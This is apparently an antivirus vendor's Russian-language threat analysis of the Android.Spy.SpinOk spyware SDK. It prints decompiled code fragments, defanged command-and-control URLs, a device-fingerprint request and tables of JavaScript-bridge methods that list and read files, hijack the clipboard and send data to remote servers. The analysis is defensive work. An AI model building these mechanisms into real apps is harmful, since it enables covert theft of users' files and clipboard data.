Вы используете устаревший браузер!
Страница может отображаться некорректно.
Защити созданное
Другие наши ресурсы
Напишите
Ваши запросы
Позвоните
Глобальная поддержка:
+7 (495) 789-45-86
Свяжитесь с нами Незакрытые запросы:
Анализ используемых злоумышленниками технологий позволяет нам делать выводы о возможных векторах развития вирусной индустрии и еще эффективней противостоять будущим угрозам. Узнайте и вы о том, как действуют в зараженных системах те или иные вредоносные программы и как этому противостоять.
Дата добавления первой записи в вирусную базу Dr.Web: 2023-04-18
Вирусные записи Android.Spy.SpinOk детектируют различные версии маркетингового модуля со скрытой шпионской функциональностью, а также приложения, в которые тот встроен. Это вредоносное SDK собирает информацию о хранящихся на Android-устройствах файлах, способно передавать их злоумышленникам, а также может подменять и загружать содержимое буфера обмена на удаленный сервер.
При инициализации Android.Spy.SpinOk выполняет запрос к удаленному узлу по адресу https[:]//d3hdbjtb1686tn[.]cloudfront[.]net/gpsdk.html. Поступающий троянскому модулю ответ имеет заголовок x-origin и содержит актуальный адрес C&C-сервера. На момент анализа им был https[:]//s[.]hisp[.]in.
Код получения адреса C&C-сервера:
// s1 = https[:]//d3hdbjtb1686tn[.]cloudfront[.]net/gpsdk.html
httpURLConnection0 = CLS21213.openConnection(s1);
httpURLConnection0.setRequestMethod("GET");
if(httpURLConnection0.getResponseCode() == 200) {
Map map0 = httpURLConnection0.getHeaderFields();
if(map0 == null || (map0.isEmpty())) {
goto label_19;
}
s = (String)((List)map0.get("x-origin")).get(0);
Log.e(("host : " + s));
goto label_17;
}
Для демонстрации рекламных баннеров Android.Spy.SpinOk выполняет запрос к C&C-серверу вида https[:]//s[.]hisp[.]in/v1/spin/init, передавая большой объем технических данных о зараженном устройстве; при этом модуль собирает данные различных сенсоров — магнитометра, гироскопа и других, что может использоваться для распознавания работы в среде эмулятора. Кроме того, троянский модуль игнорирует настройки прокси, чтобы скрыть вредоносные сетевые подключения при анализе угрозы.
Пример запроса:
{
"appk":"*",
"fit":*,
"flt":*,
"zo":180,
"tz":"*",
"session":"*",
"uid":"*",
"did":"*",
"oaid":"",
"lang":"en",
"jb":1,
"bundle":"com.dewmobile.kuaiya.play",
"make":"*",
"brand":"*",
"model":"*",
"serial":"unknown",
"os":1,
"osv":31,
"appv":"6.4 (US)",
"sdkv":"2.3.1",
"width":*,
"height":*,
"ts":*,
"contype":2,
"carrier":"",
"mccmnc":"00",
"lcountry":"US",
"battery":100,
"btch":1,
"lowp":0,
"btime":*,
"fm":*,
"ram":6893047520,
"vpn":0,
"igp":1,
"gcy":"*",
"cdid":"",
"mac":"",
"ssd":"*",
"android":{
"device":"*",
"product":"*",
"screen_density":2,
"screen_size":2,
"cpu_abi":"arm64-v8a",
"cpu_abi2":"",
"cpu_abilist":"arm64-v8a,armeabi-v7a,armeabi",
"cpu_abilist32":"arm64-v8a,armeabi-v7a,armeabi",
"cpu_abilist64":"arm64-v8a",
"api_level":31,
"d_dpi":450,
"dim_size":2,
"xdp":"403",
"ydp":"402",
"dfpid":"*",
"arch":"",
"chipname":"",
"bridge":"0",
"nativebridge":"",
"bridge_exec":"",
"isax86_features":"",
"isa_x86_variant":"",
"zygote":"zygote64_32",
"mock_location":"0",
"isa_arm":"",
"isa_arm_features":"default",
"isa_arm_variant":"cortex-a9",
"isa_arm64_features":"default",
"isa_arm64_variant":"generic",
"build_user":"dpi",
"kernel_qemu":"0",
"hardware":"qcom",
"tdm":******,
"ifgp":0,
"sensor_size":30,
"sensors":[
{
"sT":2,
"sN":"LSM6DSO Accelerometer",
"sV":"STMicro",
"sVS":[
-0.49687726,
4.0287142,
7.660931
],
"sVE":[
-0.89480275,
4.401784,
2.5893003
]
},
{
"sT":2,
"sN":"AK09918 Magnetometer",
"sV":"akm",
"sVS":[
-1.9,
-2.50833827,
-313.59038
],
"sVE":[
-0.23,
0.098,
-184.57023
]
},
{
"sT":4,
"sN":"LSM6DSO Gyroscope",
"sV":"STMicro",
"sVS":[
0.2752669139,
7.2253818E-4,
6.789339E-4
],
"sVE":[
-0.073490673,
0.0055892063,
0.001782567
]
}
],
"fb_id":"",
"build":"*",
"langname":"English"
}
}
В ответ управляющий сервер передает конфигурацию с данными для демонстрации рекламы. Пример конфигурации:
{
"api":{
"lad":"{https[:]//s[.]hisp[.]in/v1/spin/lad"},
"log":"{https[:]//s[.]hisp[.]in/v1/spin/log"},
"al":"{https[:]//s[.]hisp[.]in/v1/spin/al"},
"cud":"{https[:]//s[.]hisp[.]in/v1/spin/cdid"}
},
"events":[
],
"okid":"*",
"ri":60,
"pls":[
{
"id":3758,
"type":2,
"model":2,
"link":"{https[:]//s[.]hisp[.]in/v1/spin/tml?pid=*&did=*&os=*&lang=*&contype=*&reqId=*&sdkv=*&appv=*&osv=*&fit=*&flt=*&zo=*&tz=Europe%2F*&session=*&uid=*&jb=*&bundle=*&make=*&brand=*&model=*&appk=*&width=*&height=*&mccmnc=*&gcy=*&sdk=*"},
"tml":"{https[:]//cdn[.]hisp[.]in/tml/ba.html?v=*"},
"crs":[
{
"img":{
"2941":"{https[:]//cdn[.]hisp[.]in/img/*.gif"}
},
"id":*
}
],
"mi":30,
"click":"{https[:]//s[.]hisp[.]in/v1/spin/log?pid=*&tag=*&eid=*&did=*os=*&lang=*&contype=*&reqId=*&sdkv=*&appv=*&osv=*&fit=*&flt=*&zo=*&tz=Europe%2F*&session=*&uid=*&jb=*&bundle=*&make=*&brand=*&model=*&appk=*&height=*&mccmnc=*&gcy=*&sdk=*"},
"fi":0,
"fc":0,
"fu":0,
"pt":1
}
]
}
Далее Android.Spy.SpinOk создает WebView и загружает в них ссылки, указанные в параметре tml конфигурации, а также веб-страницы, на которые выполняется переадресация с адресов из параметра link.
К этим WebView добавляется интерфейс JavascriptInterface sdk, дающий доступ к методам классов com.spin.ok.gp.web.BaseJsInterface и com.spin.ok.gp.code.ʼʽʾʿ .
Класс com.spin.ok.gp.web.BaseJsInterface содержит следующий метод:
@JavascriptInterface
public void executeM(String s) {
try {
Log2.i(("JsProxy" + (" executeMethod params: " + s)));
JSONObject jSONObject0 = new JSONObject(s);
String s1 = jSONObject0.optJSONObject("data").optString("m");
JsProxy.onDispatchMethod(this.mWebView, s1, jSONObject0);
}
catch(Exception exception0) {
StringBuilder stringBuilder0 = CLS21196.MTH135618("JsProxy executeMethod error: ");
stringBuilder0.append(exception0.getMessage());
Log2.w(stringBuilder0.toString());
}
}
В JsProxy.onDispatchMethod выполняется Java-код, фрагмент которого представлен ниже:
...
BaseJsInterface.class.getMethod(s, WebView.class, JSONObject.class, String.class).invoke(null, webView0, jSONObject1, s2);
где:
Таким образом, исполняемый в загружаемых WebView код JavaScript способен запускать статичные методы класса com.spin.ok.gp.web.BaseJsInterface с аргументами (WebView, JSONObject, String), которые не имеют аннотации @JavascriptInterface.
Метод public static void listFiles(WebView webView0, JSONObject jSONObject0, String s) . Пытается получить список файлов в директориях, указанных в поле param параметра jSONObject0. Далее в webView0 исполняется JavaScript-код, выполняющий функцию s со списком файлов в качестве аргумента.
Метод public static void fileExist(WebView webView0, JSONObject jSONObject0, String s) . Проверяет, существует ли указанный в поле param файл.
Метод public static void getFileContent(WebView webView0, JSONObject jSONObject0, String s). Читает содержимое файла, указанного в поле param jSONObject0. Содержимое кодируется в Base64, затем вызывается JavaScript-функция s, в которую в качестве аргумента передается закодированное содержимое файла.
В результате код JavaScript, выполняющийся на загружаемых веб-страницах с рекламой, способен похищать файлы пользователей, а также файлы приложений со встроенным SDK.
Метод public static void readClipboard(WebView webView0, JSONObject jSONObject0, String s) . Позволяет считывать содержимое буфера обмена.
Метод public static void writeClipboard(WebView webView0, JSONObject jSONObject0, String s) . Позволяет изменять содержимое буфера обмена.
При этом класс com.spin.ok.gp.code.ʼʽʾʿ , расширяющий возможности класса com.spin.ok.gp.web.BaseJsInterface, также имеет методы, доступные через аннотацию @JavascriptInterface. С их помощью JavaScript-код может запрашивать дополнительные системные разрешения, открывать новые WebView и выполнять другие действия.
Полный список методов BaseJsInterface:
Метод | Выполняемое действие |
---|---|
SHA256(WebView, JSONObject, String) | Вычислить значение SHA256. |
UUID(WebView, JSONObject, String) | Сгенерировать UUID. |
cancelTask(WebView, JSONObject, String) | Отменить задачу, установленную в sheduleTask. |
cleartextTrafficPermitted(WebView, JSONObject, String) | Возвращает, разрешен ли сетевой трафик с открытым текстом (например, HTTP, FTP, XMPP, IMAP, SMTP — без TLS или STARTTLS) для связи с именем хоста для этого процесса. |
execSQL(WebView, JSONObject, String) | Выполнить SQL-запрос к базе данных SDK. |
@JavascriptInterface executeM(String) |
Выполнить указанный Java-метод. |
executeMow(WebView, JSONObject, String) | Выполнить JavaScript-код window.executeM(params) в другом WebView. |
fileExist(WebView, JSONObject, String) | Проверяет наличие заданного файла. |
getBundleId(WebView, JSONObject, String) | Скачивает и распаковывает ZIP-файл в директорию с файлами приложения. |
getByteBufferWrapLong(WebView, JSONObject, String) | Декодировать данные. |
getChangedPackages(WebView, JSONObject, String) | Возвращает имена пакетов, которые были изменены (например, добавлены, удалены или обновлены), начиная с последней загрузки устройства. |
getElapsedRealtime(WebView, JSONObject, String) | Возвращает информацию о том, сколько времени прошло с момента последней загрузки системы. |
getFileContent(WebView, JSONObject, String) | Читает файл, кодирует копию его содержимого в Base64 и передает эти данные JavaScript-функции. |
getInitInstalledPackages(WebView, JSONObject, String) | Возвращает список установленных приложений. |
getInstalledPackages(WebView, JSONObject, String) | Возвращает список установленных приложений. |
getLastPauseTime(WebView, JSONObject, String) | Время последний паузы из данных приложения. |
getPackageInfo(WebView, JSONObject, String) | Данные об указанном приложении — версия, имя, время установки, время обновления. |
getStackTopPkg(WebView, JSONObject, String) | Возвращает, какое приложение отображается на экране в данный момент. |
getTjFq(WebView, JSONObject, String) | Вычисление заданных дат. |
getUsageEventTime(WebView, JSONObject, String) | Возвращает время последнего включения устройства. |
hasMethod(WebView, JSONObject, String) | Проверяет, имеет ли BaseJsInterface указанный метод. |
insertTable(WebView, JSONObject, String) | Внести данные в базу данных SDK. |
isDebug(WebView, JSONObject, String) | Проверяет, установлен ли флаг отладки в SDK. |
isScreenOff(WebView, JSONObject, String) | Проверяет, выключен ли экран устройства. |
listFiles(WebView, JSONObject, String) | Возвращает списки файлов в указанных директориях. |
mowResponse(WebView, JSONObject, String) | Вызывает JavaScript-функцию в заданном в параметрах WebView, из которого ранее вызывалась функция executeMow. |
openMarket(WebView, JSONObject, String) | Открыть магазин приложений. |
queryTable(WebView, JSONObject, String) | Запрос к базе данных SDK. |
queryUsageEvents(WebView, JSONObject, String) | Получить статистику использования приложений. |
queryUsageStats(WebView, JSONObject, String) | Получить статистику использования приложений. |
readClipboard(WebView, JSONObject, String) | Возвращает содержимое буфера обмена. |
saveFiles(WebView, JSONObject, String) | Загружает файлы во внешнее хранилище на устройстве (в общедоступные директории с фото и видео). |
scheduleTask(WebView, JSONObject, String) | Отложенное выполнение JavaScript-функции. Возможен повторный вызов функции с заданным промежутком. |
@JavascriptInterface sendRequest(String) | Выполнить запрос к серверу по указанному URL. Параметр метода содержит JSON-объект с параметрами запроса: URL, заголовки, тело запроса и имя JavaScript-функции, в которую передаются результаты выполнения запроса. |
setOkid(WebView, JSONObject, String) | Заносит данные в базу данных SDK. |
setUid(WebView, JSONObject, String) | Добавляет параметр UUID в SharedPreferences. |
sha256(WebView, JSONObject, String) | Вычисляет SHA256-хеш. |
share(WebView, JSONObject, String) | Поделиться объектом (URL, текст, изображение). |
showRewardToast(WebView, JSONObject, String) | В зависимости от версии ОС демонстрирует либо уведомление с рекламой, либо всплывающие окно. |
shutdown(WebView, JSONObject, String) | Отключает отложенное выполнение задач, заданное через scheduleTask. |
updateTable(WebView, JSONObject, String) | Изменение данных в базе данных SDK. |
writeClipboard(WebView, JSONObject, String) | Записать данные в буфер обмена. |
Список методов класса com.spin.ok.gp.code.ʼʽʾʿ , расширяющего BaseJsInterface.
Метод | Выполняемое действие |
---|---|
@JavascriptInterface String checkPermissions(String) | Получает список разрешений и возвращает список доступных. |
@JavascriptInterface close() | Закрывает активность SDK |
@JavascriptInterface long getAppUsage(String) | Возвращает время использования указанного приложения. |
@JavascriptInterface String getBasicFields() | Возвращает большой объем данных об устройстве. |
@JavascriptInterface String getConfigs(String) | Получает конфигурацию SDK. |
@JavascriptInterface String getDownloadApps(String) | В текущей версии действие отсутствует. |
@JavascriptInterface String getHostApp() | Возвращает данные о приложении, в которое встроено SDK (имя, значок, имя пакета). |
@JavascriptInterface String getInstalledApp(String) | Получить информацию об установленных приложениях. |
@JavascriptInterface String getMowBasicFields() | Получить большой объем технических данных об устройстве. |
@JavascriptInterface String getOfferWallPid() | Возвращает ID из конфигурации приложения. |
@JavascriptInterface String getPlacement() | Действие отсутствует. |
@JavascriptInterface grantPermission(String) | Запросить системное разрешение. |
@JavascriptInterface installApp(String) | В текущей версии действие отсутствует. |
@JavascriptInterface boolean isResumed() | Значение параметра. |
@JavascriptInterface jsLoaded() | Устанавливает значения параметров приложения, очищает историю WebView. |
@JavascriptInterface onOwTaskCreated(String) | Заносит данные в базу данных приложения. |
@JavascriptInterface onUserInteraction(String) | Событие для приложения, в которое встроено SDK. |
@JavascriptInterface openApp(String) | Запускает заданное приложение (открывает активность). |
@JavascriptInterface openBrowser(String) | Открывает браузер. |
@JavascriptInterface openInteractive() | Открывает активность com.spin.ok.gp.activity.WebActivity. |
@JavascriptInterface openPermissionSettings() | Открывает экран системных настроек. |
@JavascriptInterface openWebview(String) | Открывает активность com.spin.ok.gp.activity.WebActivity, передавая в нее полученную в параметрах URL. |
@JavascriptInterface pageError(String) | Обработка ошибок. |
@JavascriptInterface pushEvent(String) | Отправляет данные на сервер. |
@JavascriptInterface reDownload(String) | Действие отсутствует. |
@JavascriptInterface setCloseVisible(boolean) | Изменяет настройки видимости отображения. Предположительно применяется для отображения или скрытия значка закрытия рекламы. |
@JavascriptInterface setConfigs(String) | Заносит данные в базу данных SDK. |
По статистике каждая пятая программа для ОС Android — с уязвимостью (или, иными словами, — с «дырой»), что позволяет злоумышленникам успешно внедрять мобильных троянцев на устройства и выполнять нужные им действия.
Аудитор безопасности в Dr.Web для Android произведет диагностику и анализ безопасности мобильного устройства, предложит решения для устранения выявленных проблем и уязвимостей.